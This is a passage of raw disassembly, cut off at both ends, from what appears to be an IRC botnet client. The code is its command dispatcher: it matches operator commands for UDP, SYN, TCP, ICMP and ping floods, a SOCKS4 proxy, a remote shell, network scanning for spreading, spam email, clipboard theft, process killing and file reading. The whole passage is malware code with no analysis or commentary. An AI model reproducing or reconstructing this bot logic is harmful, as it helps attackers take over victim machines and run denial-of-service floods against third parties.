--------------------------------------------------------------------------- loc_408524: ; CODE XREF: sub_4078FA+C16j call sub_412D71 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_24], dl loc_408535: ; CODE XREF: sub_4078FA+C28j and [ebp+var_23], 0 lea eax, [ebp+var_B8] lea edx, [eax+1] loc_408542: ; CODE XREF: sub_4078FA+C4Dj mov cl, [eax] inc eax test cl, cl jnz short loc_408542 sub eax, edx mov ecx, eax xor eax, eax lea edi, [ebp+var_B8] stosd stosd add ecx, 6 push ecx push [ebp+var_A8] stosd lea eax, [ebp+var_B8] push eax call sub_412C40 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40556E push esi push [ebp+arg_0] call sub_413920 add esp, 20h loc_40858D: ; CODE XREF: sub_4078FA+BA5j test eax, eax jnz loc_4084A4 mov esi, 1FFh push esi push [ebp+arg_0] lea eax, [ebp+var_17E8] push eax call sub_412C40 push esi lea eax, [ebp+var_17E8] push eax lea eax, [ebp+var_1BE8] push eax call sub_412C40 mov esi, offset asc_41FA74 ; " " lea eax, [ebp+var_1BE8] push esi push eax call sub_413859 xor edi, edi add esp, 20h mov [ebp+var_A4], eax inc edi loc_4085DC: ; CODE XREF: sub_4078FA+CF7j push esi push 0 call sub_413859 mov [ebp+edi*4+var_A4], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_4085DC lea eax, [ebp+ebx+var_A4] mov ecx, [eax] test ecx, ecx jz loc_407B7B add ecx, 3 mov [eax], ecx loc_408609: ; CODE XREF: sub_4078FA+B2Dj mov eax, [ebp+ebx+var_A4] push 8 mov edi, eax mov esi, offset aRndnick ; "rndnick" pop ecx xor edx, edx repe cmpsb mov [ebp+var_20], eax jz loc_40CF95 push 3 mov edi, eax mov esi, offset aRn ; "rn" pop ecx xor edx, edx repe cmpsb jz loc_40CF95 push 4 mov edi, eax mov esi, offset aDie ; "die" pop ecx xor edx, edx repe cmpsb jz loc_40C4A9 push 2 mov edi, eax mov esi, offset aD ; "d" pop ecx xor edx, edx repe cmpsb jz loc_40C4A9 push 7 mov edi, eax mov esi, offset aLogout ; "logout" pop ecx xor edx, edx repe cmpsb jz loc_40C3BB push 3 mov edi, eax mov esi, offset aLo ; "lo" pop ecx xor edx, edx repe cmpsb jz loc_40C3BB push 8 mov edi, eax mov esi, offset aVersion ; "version" pop ecx xor edx, edx repe cmpsb jz loc_40C39D push 4 mov edi, eax mov esi, offset aVer ; "ver" pop ecx xor edx, edx repe cmpsb jz loc_40C39D push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz loc_40C28F push 4 mov edi, eax mov esi, offset aSec ; "sec" pop ecx xor edx, edx repe cmpsb jz loc_40C28F push 9 mov edi, eax mov esi, offset aUnsecure ; "unsecure" pop ecx xor edx, edx repe cmpsb jz loc_40C28F push 6 mov edi, eax mov esi, offset aUnsec ; "unsec" pop ecx xor edx, edx repe cmpsb jz loc_40C28F push 7 mov edi, eax mov esi, offset aSocks4 ; "socks4" pop ecx xor edx, edx repe cmpsb jz loc_40C16A push 3 mov edi, eax mov esi, offset aS4 ; "s4" pop ecx xor edx, edx repe cmpsb jz loc_40C16A push 0Bh mov edi, eax mov esi, offset aSocks4stop ; "socks4stop" pop ecx xor edx, edx repe cmpsb jnz short loc_408753 push [ebp+ebx+var_A0] push 12h push offset aServer_0 ; "Server" push offset aSocks4_0 ; "[SOCKS4]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408753: ; CODE XREF: sub_4078FA+E3Fj push 0Bh mov edi, eax mov esi, offset aRloginstop ; "rloginstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40877B push [ebp+ebx+var_A0] push 7 push offset aServer_0 ; "Server" push offset aRlogind ; "[RLOGIND]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40877B: ; CODE XREF: sub_4078FA+E67j push 9 mov edi, eax mov esi, offset aHttpstop ; "httpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4087A3 push [ebp+ebx+var_A0] push 4 push offset aServer_0 ; "Server" push offset aHttpd ; "[HTTPD]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_4087A3: ; CODE XREF: sub_4078FA+E8Fj push 8 mov edi, eax mov esi, offset aLogstop ; "logstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4087CB push [ebp+ebx+var_A0] push 1Dh push offset aLogList ; "Log list" push offset aLog ; "[LOG]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_4087CB: ; CODE XREF: sub_4078FA+EB7j push 0Dh mov edi, eax mov esi, offset aRedirectstop ; "redirectstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4087F3 push [ebp+ebx+var_A0] push 11h push offset aTcpRedirect ; "TCP redirect" push offset aRedirect_0 ; "[REDIRECT]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_4087F3: ; CODE XREF: sub_4078FA+EDFj push 0Ah mov edi, eax mov esi, offset aDdos_stop ; "ddos.stop" pop ecx xor edx, edx repe cmpsb jnz short loc_40881B push [ebp+ebx+var_A0] push 0Bh push offset aDdosFlood ; "DDoS flood" push offset aDdos ; "[DDoS]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40881B: ; CODE XREF: sub_4078FA+F07j push 8 mov edi, eax mov esi, offset aSynstop ; "synstop" pop ecx xor edx, edx repe cmpsb jnz short loc_408843 push [ebp+ebx+var_A0] push 0Ch push offset aSynFlood ; "Syn flood" push offset aSyn ; "[SYN]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408843: ; CODE XREF: sub_4078FA+F2Fj push 8 mov edi, eax mov esi, offset aUdpstop ; "udpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40886B push [ebp+ebx+var_A0] push 10h push offset aUdpFlood ; "UDP flood" push offset aUpd ; "[UPD]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40886B: ; CODE XREF: sub_4078FA+F57j push 9 mov edi, eax mov esi, offset aPingstop ; "pingstop" pop ecx xor edx, edx repe cmpsb jnz short loc_408893 push [ebp+ebx+var_A0] push 0Fh push offset aPingFlood ; "Ping flood" push offset aPing_1 ; "[PING]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408893: ; CODE XREF: sub_4078FA+F7Fj push 9 mov edi, eax mov esi, offset aIcmpstop ; "icmpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4088BB push [ebp+ebx+var_A0] push 0Eh push offset aIcmpFlood ; "ICMP flood" loc_4088B1: ; CODE XREF: sub_4078FA+FDFj push offset aIcmp_0 ; "[ICMP]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_4088BB: ; CODE XREF: sub_4078FA+FA7j push 8 mov edi, eax mov esi, offset aTcpstop ; "tcpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4088DB push [ebp+ebx+var_A0] push 0Dh push offset aTcpFlood ; "TCP flood" jmp short loc_4088B1 ; --------------------------------------------------------------------------- loc_4088DB: ; CODE XREF: sub_4078FA+FCFj push 9 mov edi, eax mov esi, offset aTftpstop ; "tftpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_408903 push [ebp+ebx+var_A0] push 5 push offset aServer_0 ; "Server" push offset aTftp_0 ; "[TFTP]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408903: ; CODE XREF: sub_4078FA+FEFj push 0Ah mov edi, eax mov esi, offset aProcsstop ; "procsstop" pop ecx xor edx, edx repe cmpsb jz loc_40C13B push 7 mov edi, eax mov esi, offset aPsstop ; "psstop" pop ecx xor edx, edx repe cmpsb jz loc_40C13B push 0Ah mov edi, eax mov esi, offset aClonestop ; "clonestop" pop ecx xor edx, edx repe cmpsb jnz short loc_408953 push [ebp+ebx+var_A0] push 18h push offset aClone ; "Clone" push offset aClones ; "[CLONES]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408953: ; CODE XREF: sub_4078FA+103Fj push 0Bh mov edi, eax mov esi, offset aSecurestop ; "securestop" pop ecx xor edx, edx repe cmpsb jnz short loc_40897B push [ebp+ebx+var_A0] push 1Ah push offset aSecure_0 ; "Secure" push offset aSecure_1 ; "[SECURE]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40897B: ; CODE XREF: sub_4078FA+1067j push 9 mov edi, eax mov esi, offset aScanstop ; "scanstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4089A3 push [ebp+ebx+var_A0] push 9 push offset aScan_1 ; "Scan" push offset aScan_0 ; "[SCAN]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_4089A3: ; CODE XREF: sub_4078FA+108Fj push 0Ah mov edi, eax mov esi, offset aScanstats ; "scanstats" pop ecx xor edx, edx repe cmpsb jz loc_40C122 push 6 mov edi, eax mov esi, offset aStats ; "stats" pop ecx xor edx, edx repe cmpsb jz loc_40C122 push 0Ah mov edi, eax mov esi, offset aReconnect ; "reconnect" pop ecx xor edx, edx repe cmpsb jz loc_40C101 push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40C101 push 0Bh mov edi, eax mov esi, offset aDisconnect ; "disconnect" pop ecx xor edx, edx repe cmpsb jz loc_40C0DF push 3 mov edi, eax mov esi, offset aDc ; "dc" pop ecx xor edx, edx repe cmpsb jz loc_40C0DF push 5 mov edi, eax mov esi, offset aQuit_0 ; "quit" pop ecx xor edx, edx repe cmpsb jz loc_40C095 push 2 mov edi, eax mov esi, offset aQ ; "q" pop ecx xor edx, edx repe cmpsb jz loc_40C095 push 7 mov edi, eax mov esi, offset aStatus ; "status" pop ecx xor edx, edx repe cmpsb jz loc_40C056 push 2 mov edi, eax mov esi, offset aS_3 ; "s" pop ecx xor edx, edx repe cmpsb jz loc_40C056 push 3 mov edi, eax mov esi, offset aId ; "id" pop ecx xor edx, edx repe cmpsb jz loc_40C01E push 2 mov edi, eax mov esi, offset aI_0 ; "i" pop ecx xor edx, edx repe cmpsb jz loc_40C01E push 7 mov edi, eax mov esi, offset aReboot ; "reboot" pop ecx xor edx, edx repe cmpsb jnz short loc_408AE5 call sub_4058F3 test eax, eax mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system." jnz short loc_408AB6 mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system." loc_408AB6: ; CODE XREF: sub_4078FA+11B5j push eax lea eax, [ebp+var_2E0] push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 1Ch jmp loc_40C4A1 ; --------------------------------------------------------------------------- loc_408AE5: ; CODE XREF: sub_4078FA+11A7j push 8 mov edi, eax mov esi, offset aThreads ; "threads" pop ecx xor edx, edx repe cmpsb jz loc_40BF2F push 2 mov edi, eax mov esi, offset aT ; "t" pop ecx xor edx, edx repe cmpsb jz loc_40BF2F push 8 mov edi, eax mov esi, offset aAliases ; "aliases" pop ecx xor edx, edx repe cmpsb jz loc_40BF0C push 3 mov edi, eax mov esi, offset aAl ; "al" pop ecx xor edx, edx repe cmpsb jz loc_40BF0C push 4 mov edi, eax mov esi, offset aLog_0 ; "log" pop ecx xor edx, edx repe cmpsb jz loc_40BE19 push 3 mov edi, eax mov esi, offset aLg ; "lg" pop ecx xor edx, edx repe cmpsb jz loc_40BE19 push 9 mov edi, eax mov esi, offset aClearlog ; "clearlog" pop ecx xor edx, edx repe cmpsb jz loc_40BDFD push 4 mov edi, eax mov esi, offset aClg ; "clg" pop ecx xor edx, edx repe cmpsb jz loc_40BDFD push 8 mov edi, eax mov esi, offset aNetinfo ; "netinfo" pop ecx xor edx, edx repe cmpsb jz loc_40BDC2 push 3 mov edi, eax mov esi, offset aNi ; "ni" pop ecx xor edx, edx repe cmpsb jz loc_40BDC2 push 8 mov edi, eax mov esi, offset aSysinfo ; "sysinfo" pop ecx xor edx, edx repe cmpsb jz loc_40BD96 push 3 mov edi, eax mov esi, offset aSi ; "si" pop ecx xor edx, edx repe cmpsb jz loc_40BD96 push 8 mov edi, eax mov esi, offset aDestroy ; "destroy" pop ecx xor edx, edx repe cmpsb jz loc_40BD19 push 0Bh mov edi, eax mov esi, offset aErradicate ; "erradicate" pop ecx xor edx, edx repe cmpsb jz loc_40BD19 push 6 mov edi, eax mov esi, offset aProcs ; "procs" pop ecx xor edx, edx repe cmpsb jz loc_40BBF3 push 3 mov edi, eax mov esi, offset aPs ; "ps" pop ecx xor edx, edx repe cmpsb jz loc_40BBF3 push 7 mov edi, eax mov esi, offset aUptime ; "uptime" pop ecx xor edx, edx repe cmpsb jz loc_40BB6C push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40BB6C push 0Ah mov edi, eax mov esi, offset aDriveinfo ; "driveinfo" pop ecx xor edx, edx repe cmpsb jz loc_40BB4F push 4 mov edi, eax mov esi, offset aDrv ; "drv" pop ecx xor edx, edx repe cmpsb jz loc_40BB4F push 9 mov edi, eax mov esi, offset aTestdlls ; "testdlls" pop ecx xor edx, edx repe cmpsb jz loc_40BB36 push 4 mov edi, eax mov esi, offset aDll ; "dll" pop ecx xor edx, edx repe cmpsb jz loc_40BB36 push 8 mov edi, eax mov esi, offset aOpencmd ; "opencmd" pop ecx xor edx, edx repe cmpsb jz loc_40BAF7 push 5 mov edi, eax mov esi, offset aOcmd ; "ocmd" pop ecx xor edx, edx repe cmpsb jz loc_40BAF7 push 8 mov edi, eax mov esi, offset aCmdstop ; "cmdstop" pop ecx xor edx, edx repe cmpsb jnz short loc_408CED push [ebp+ebx+var_A0] push 8 push offset aRemoteShell ; "Remote shell" push offset aCmd_0 ; "[CMD]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_408CED: ; CODE XREF: sub_4078FA+13D9j push 4 mov edi, eax mov esi, offset aWho ; "who" pop ecx xor edx, edx repe cmpsb jnz loc_40902C cmp [ebp+var_C], edx jnz short loc_408D20 push edx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_408D20: ; CODE XREF: sub_4078FA+140Aj mov edi, [ebp+arg_18] xor esi, esi loc_408D25: ; CODE XREF: sub_4078FA+1472j cmp byte ptr [edi], 0 lea eax, [edi+1] jnz short loc_408D32 mov eax, offset aEmpty ; "<Empty>" loc_408D32: ; CODE XREF: sub_4078FA+1431j push eax push esi lea eax, [ebp+var_2E0] push offset aD_S ; "%d. %s" push eax call sub_412BB5 push 1 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_408D25 push offset aMainLoginListC ; "[MAIN]: Login list complete." call sub_401C33 mov eax, [ebp+var_20] pop ecx loc_408D7C: ; CODE XREF: sub_4078FA+22DDj ; sub_4078FA+4BC1j mov ecx, [ebp+ebx+var_94] test ecx, ecx mov [ebp+var_14], ecx jz loc_407B7B push 8 mov edi, eax mov esi, offset aAdvscan ; "advscan" pop ecx xor edx, edx repe cmpsb jz loc_40CB69 push 4 mov edi, eax mov esi, offset aAsc ; "asc" pop ecx xor edx, edx repe cmpsb jz loc_40CB69 push 9 mov edi, eax mov esi, offset aUdpflood ; "udpflood" pop ecx xor edx, edx repe cmpsb jz loc_40CA12 push 4 mov edi, eax mov esi, offset aUdp ; "udp" pop ecx xor edx, edx repe cmpsb jz loc_40CA12 push 2 mov edi, eax mov esi, offset aU ; "u" pop ecx xor edx, edx repe cmpsb jz loc_40CA12 push 0Ah mov edi, eax mov esi, offset aPingflood ; "pingflood" pop ecx xor edx, edx repe cmpsb jz loc_40C8CF push 5 mov edi, eax mov esi, offset aPing_0 ; "ping" pop ecx xor edx, edx repe cmpsb jz loc_40C8CF push 2 mov edi, eax mov esi, offset aP ; "p" pop ecx xor edx, edx repe cmpsb jz loc_40C8CF push 9 mov edi, eax mov esi, offset aTcpflood ; "tcpflood" pop ecx xor edx, edx repe cmpsb jz loc_40C6C4 push 4 mov edi, eax mov esi, offset aTcp ; "tcp" pop ecx xor edx, edx repe cmpsb jz loc_40C6C4 push 6 mov edi, eax mov esi, offset aEmail ; "email" pop ecx xor edx, edx repe cmpsb jnz loc_40C4CE mov eax, [ebp+ebx+var_A0] lea edx, [ebp+var_B70] sub edx, eax loc_408E79: ; CODE XREF: sub_4078FA+1587j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_408E79 push [ebp+ebx+var_9C] call sub_412F42 mov esi, eax mov eax, [ebp+ebx+var_98] lea edx, [ebp+var_18E8] pop ecx sub edx, eax loc_408EA1: ; CODE XREF: sub_4078FA+15AFj mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_408EA1 mov eax, [ebp+var_14] lea edx, [ebp+var_1340] sub edx, eax loc_408EB6: ; CODE XREF: sub_4078FA+15C4j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_408EB6 push offset asc_41FA74 ; " " push offset a_ ; "_" push [ebp+ebx+var_90] call sub_40556E add esp, 0Ch lea edx, [ebp+var_19E8] loc_408EDF: ; CODE XREF: sub_4078FA+15EDj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_408EDF lea eax, [ebp+var_1D78] push eax push 101h call dword_4334B0 lea eax, [ebp+var_B70] push eax call dword_433500 push 6 push 1 push 2 mov ebx, eax call dword_4334A0 mov edi, eax mov [ebp+var_C8], 2 mov eax, [ebx+0Ch] mov eax, [eax] mov eax, [eax] push esi mov [ebp+var_C4], eax call dword_4335EC mov [ebp+var_C6], ax lea eax, [ebp+var_19E8] push eax lea eax, [ebp+var_18E8] push eax lea eax, [ebp+var_19E8] push eax lea eax, [ebp+var_1340] push eax lea eax, [ebp+var_18E8] push eax lea eax, [ebp+var_2178] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_412BB5 add esp, 1Ch push 10h lea eax, [ebp+var_C8] push eax push edi call dword_433458 xor ebx, ebx push ebx mov esi, 100h push esi lea eax, [ebp+var_15E4] push eax push edi call dword_433414 lea eax, [ebp+var_15E4] lea ecx, [eax+1] loc_408FA3: ; CODE XREF: sub_4078FA+16AEj mov dl, [eax] inc eax test dl, dl jnz short loc_408FA3 push ebx sub eax, ecx push eax lea eax, [ebp+var_2178] push eax push edi call dword_433534 push ebx push esi lea eax, [ebp+var_15E4] push eax push edi call dword_433414 push edi call dword_4335AC call dword_4335B8 lea eax, [ebp+var_1340] push eax lea eax, [ebp+var_2E0] push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_C], ebx jnz short loc_409015 push ebx loc_408FFA: ; CODE XREF: sub_4078FA+35BCj ; sub_4078FA+3665j push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40900D: ; CODE XREF: sub_4078FA+2DA6j call sub_4045DD add esp, 14h loc_409015: ; CODE XREF: sub_4078FA+16FDj ; sub_4078FA+2D8Ej ... mov esi, [ebp+arg_24] loc_409018: ; CODE XREF: sub_4078FA+35FAj ; sub_4078FA+361Dj ... lea eax, [ebp+var_2E0] push eax call sub_401C33 pop ecx mov eax, esi jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40902C: ; CODE XREF: sub_4078FA+1401j push 8 mov edi, eax mov esi, offset aGetclip ; "getclip" pop ecx xor edx, edx repe cmpsb jz loc_40BAB3 push 3 mov edi, eax mov esi, offset aGc ; "gc" pop ecx xor edx, edx repe cmpsb jz loc_40BAB3 push 9 mov edi, eax mov esi, offset aFlusharp ; "flusharp" pop ecx xor edx, edx repe cmpsb jz loc_40BA88 push 5 mov edi, eax mov esi, offset aFarp ; "farp" pop ecx xor edx, edx repe cmpsb jz loc_40BA88 push 9 mov edi, eax mov esi, offset aFlushdns ; "flushdns" pop ecx xor edx, edx repe cmpsb jz loc_40BA58 push 5 mov edi, eax mov esi, offset aFdns ; "fdns" pop ecx xor edx, edx repe cmpsb jz loc_40BA58 push 0Ah mov edi, eax mov esi, offset aCurrentip ; "currentip" pop ecx xor edx, edx repe cmpsb jz loc_40BA1E push 4 mov edi, eax mov esi, offset aCip ; "cip" pop ecx xor edx, edx repe cmpsb jz loc_40BA1E push 0Dh mov edi, eax mov esi, offset aRloginserver ; "rloginserver" pop ecx xor edx, edx repe cmpsb jz loc_40B8E5 push 7 mov edi, eax mov esi, offset aRlogin ; "rlogin" pop ecx xor edx, edx repe cmpsb jz loc_40B8E5 push 0Bh mov edi, eax mov esi, offset aHttpserver ; "httpserver" pop ecx xor edx, edx repe cmpsb jz loc_40B764 push 5 mov edi, eax mov esi, offset aHttp ; "http" pop ecx xor edx, edx repe cmpsb jz loc_40B764 push 0Bh mov edi, eax mov esi, offset aTftpserver ; "tftpserver" pop ecx xor edx, edx repe cmpsb jz loc_40B60D push 5 mov edi, eax mov esi, offset aTftp ; "tftp" pop ecx xor edx, edx repe cmpsb jz loc_40B60D push 8 mov edi, eax mov esi, offset aScanall ; "scanall" pop ecx xor edx, edx repe cmpsb jz loc_40B2D2 push 3 mov edi, eax mov esi, offset aSa ; "sa" pop ecx xor edx, edx repe cmpsb jz loc_40B2D2 mov ecx, [ebp+ebx+var_A0] test ecx, ecx mov [ebp+var_8], ecx jz loc_407B7B push 5 mov edi, eax mov esi, offset aNick_0 ; "nick" pop ecx xor edx, edx repe cmpsb jz loc_40B2AD push 2 mov edi, eax mov esi, offset aN ; "n" pop ecx xor edx, edx repe cmpsb jz loc_40B2AD push 5 mov edi, eax mov esi, offset aJoin ; "join" pop ecx xor edx, edx repe cmpsb jz loc_40B289 push 2 mov edi, eax mov esi, offset aJ ; "j" pop ecx xor edx, edx repe cmpsb jz loc_40B289 push 5 mov edi, eax mov esi, offset aPart_0 ; "part" pop ecx xor edx, edx repe cmpsb jz loc_40B26F push 3 mov edi, eax mov esi, offset aPt ; "pt" pop ecx xor edx, edx repe cmpsb jz loc_40B26F push 4 mov edi, eax mov esi, offset aRaw ; "raw" pop ecx xor edx, edx repe cmpsb jz loc_40B238 push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40B238 push 0Bh mov edi, eax mov esi, offset aKillthread ; "killthread" pop ecx xor edx, edx repe cmpsb jz loc_40B17E push 2 mov edi, eax mov esi, offset aK ; "k" pop ecx xor edx, edx repe cmpsb jz loc_40B17E push 7 mov edi, eax mov esi, offset aC_quit ; "c_quit" pop ecx xor edx, edx repe cmpsb jz loc_40B0D0 push 4 mov edi, eax mov esi, offset aC_q ; "c_q" pop ecx xor edx, edx repe cmpsb jz loc_40B0D0 push 0Ah mov edi, eax mov esi, offset aC_rndnick ; "c_rndnick" pop ecx xor edx, edx repe cmpsb jz loc_40B07F push 5 mov edi, eax mov esi, offset aC_rn ; "c_rn" pop ecx xor edx, edx repe cmpsb jz loc_40B07F push 7 mov edi, eax mov esi, offset aPrefix ; "prefix" pop ecx xor edx, edx repe cmpsb jz loc_40B066 push 3 mov edi, eax mov esi, offset aPr ; "pr" pop ecx xor edx, edx repe cmpsb jz loc_40B066 push 5 mov edi, eax mov esi, offset aOpen ; "open" pop ecx xor edx, edx repe cmpsb jz loc_40B030 push 2 mov edi, eax mov esi, offset aO ; "o" pop ecx xor edx, edx repe cmpsb jz loc_40B030 push 7 mov edi, eax mov esi, offset aServer ; "server" pop ecx xor edx, edx repe cmpsb jz loc_40B007 push 3 mov edi, eax mov esi, offset aSe ; "se" pop ecx xor edx, edx repe cmpsb jz loc_40B007 push 4 mov edi, eax mov esi, offset aDns ; "dns" pop ecx xor edx, edx repe cmpsb jz loc_40AF97 push 3 mov edi, eax mov esi, offset aDn ; "dn" pop ecx xor edx, edx repe cmpsb jz loc_40AF97 push 9 mov edi, eax mov esi, offset aKillproc ; "killproc" pop ecx xor edx, edx repe cmpsb jz loc_40AF64 push 3 mov edi, eax mov esi, offset aKp ; "kp" pop ecx xor edx, edx repe cmpsb jz loc_40AF64 push 0Ch mov edi, eax mov esi, offset aKilldelproc ; "killdelproc" pop ecx xor edx, edx repe cmpsb jz loc_40AF1C push 4 mov edi, eax mov esi, offset aKdp ; "kdp" pop ecx xor edx, edx repe cmpsb jz loc_40AF1C push 5 mov edi, eax mov esi, offset aKill ; "kill" pop ecx xor edx, edx repe cmpsb jz loc_40AEBB push 3 mov edi, eax mov esi, offset aKi ; "ki" pop ecx xor edx, edx repe cmpsb jz loc_40AEBB push 7 mov edi, eax mov esi, offset aDelete ; "delete" pop ecx xor edx, edx repe cmpsb jz loc_40AE69 push 4 mov edi, eax mov esi, offset aDel ; "del" pop ecx xor edx, edx repe cmpsb jz loc_40AE69 push 5 mov edi, eax mov esi, offset aList_0 ; "list" pop ecx xor edx, edx repe cmpsb jz loc_40AE49 push 3 mov edi, eax mov esi, offset aLi ; "li" pop ecx xor edx, edx repe cmpsb jz loc_40AE49 push 8 mov edi, eax mov esi, offset aMirccmd ; "mirccmd" pop ecx xor edx, edx repe cmpsb jz loc_40ADD0 push 5 mov edi, eax mov esi, offset aMirc ; "mirc" pop ecx xor edx, edx repe cmpsb jz loc_40ADD0 push 4 mov edi, eax mov esi, offset aCmd ; "cmd" pop ecx xor edx, edx repe cmpsb jz loc_40AD74 push 3 mov edi, eax mov esi, offset aCm ; "cm" pop ecx xor edx, edx repe cmpsb jz loc_40AD74 push 9 mov edi, eax mov esi, offset aReadfile ; "readfile" pop ecx xor edx, edx repe cmpsb jz loc_40ACE0 push 3 mov edi, eax mov esi, offset aRf ; "rf" pop ecx xor edx, edx repe cmpsb jz loc_40ACE0 push 4 mov edi, eax mov esi, offset aNet ; "net" pop ecx xor edx, edx repe cmpsb jnz loc_40971F xor eax, eax cmp dword_433600, eax jz short loc_4094A6 cmp dword_433628, eax jz short loc_4094A6 push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"... jmp loc_409714 ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_4078FA+1B98j ; sub_4078FA+1BA0j cmp [ebp+var_14], eax jz loc_40AE14 mov eax, [ebp+ebx+var_9C] and [ebp+arg_0], 0 test eax, eax mov [ebp+var_10], eax jz short loc_4094CF push eax push [ebp+var_14] call sub_413920 pop ecx pop ecx mov [ebp+arg_0], eax loc_4094CF: ; CODE XREF: sub_4078FA+1BC5j mov edx, [ebp+var_8] push 6 mov edi, edx mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz short loc_40953D cmp [ebp+var_10], eax jz short loc_40950B push [ebp+arg_0] push 3 loc_4094EC: ; CODE XREF: sub_4078FA+1C58j ; sub_4078FA+1C6Fj ... call sub_40668A push eax lea eax, [ebp+var_2E0] push offset aS_1 ; "%s" push eax call sub_412BB5 add esp, 14h jmp loc_40AE14 ; --------------------------------------------------------------------------- loc_40950B: ; CODE XREF: sub_4078FA+1BEBj push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_405DC5 add esp, 0Ch test eax, eax lea eax, [ebp+var_2E0] jz short loc_409533 push offset aNetServiceList ; "[NET]: Service list completed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_409533: ; CODE XREF: sub_4078FA+1C2Dj push offset aNetServiceLi_0 ; "[NET]: Service list failed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_40953D: ; CODE XREF: sub_4078FA+1BE6j push 5 mov edi, edx mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz short loc_409554 push [ebp+arg_0] push 4 jmp short loc_4094EC ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_4078FA+1C51j push 6 mov edi, edx mov esi, offset aPause ; "pause" pop ecx xor eax, eax repe cmpsb jnz short loc_40956B push [ebp+arg_0] push 5 jmp short loc_4094EC ; --------------------------------------------------------------------------- loc_40956B: ; CODE XREF: sub_4078FA+1C68j push 9 mov edi, edx mov esi, offset aContinue ; "continue" pop ecx xor eax, eax repe cmpsb jnz short loc_409585 push [ebp+arg_0] push 6 jmp loc_4094EC ; --------------------------------------------------------------------------- loc_409585: ; CODE XREF: sub_4078FA+1C7Fj push 7 mov edi, edx mov esi, offset aDelete ; "delete" pop ecx xor eax, eax repe cmpsb jnz short loc_40959F push [ebp+arg_0] push 1 jmp loc_4094EC ; --------------------------------------------------------------------------- loc_40959F: ; CODE XREF: sub_4078FA+1C99j push 6 mov edi, edx mov esi, offset aShare ; "share" pop ecx xor eax, eax repe cmpsb jnz short loc_409623 cmp [ebp+var_10], eax jz short loc_4095EF cmp [ebp+var_448], al jz short loc_4095C4 push eax push [ebp+var_10] push 1 jmp short loc_4095D0 ; --------------------------------------------------------------------------- loc_4095C4: ; CODE XREF: sub_4078FA+1CC0j push [ebp+ebx+var_98] push [ebp+var_10] push 0 loc_4095D0: ; CODE XREF: sub_4078FA+1CC8j call sub_406702 push eax lea eax, [ebp+var_2E0] push offset aS_1 ; "%s" push eax call sub_412BB5 add esp, 18h jmp loc_40AE14 ; --------------------------------------------------------------------------- loc_4095EF: ; CODE XREF: sub_4078FA+1CB8j push 0 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4067C0 add esp, 10h test eax, eax lea eax, [ebp+var_2E0] jz short loc_409619 push offset aNetShareListCo ; "[NET]: Share list completed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_409619: ; CODE XREF: sub_4078FA+1D13j push offset aNetShareListFa ; "[NET]: Share list failed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_409623: ; CODE XREF: sub_4078FA+1CB3j push 5 mov edi, edx mov esi, offset aUser ; "user" pop ecx xor eax, eax repe cmpsb jnz loc_4096C5 cmp [ebp+var_10], eax jz short 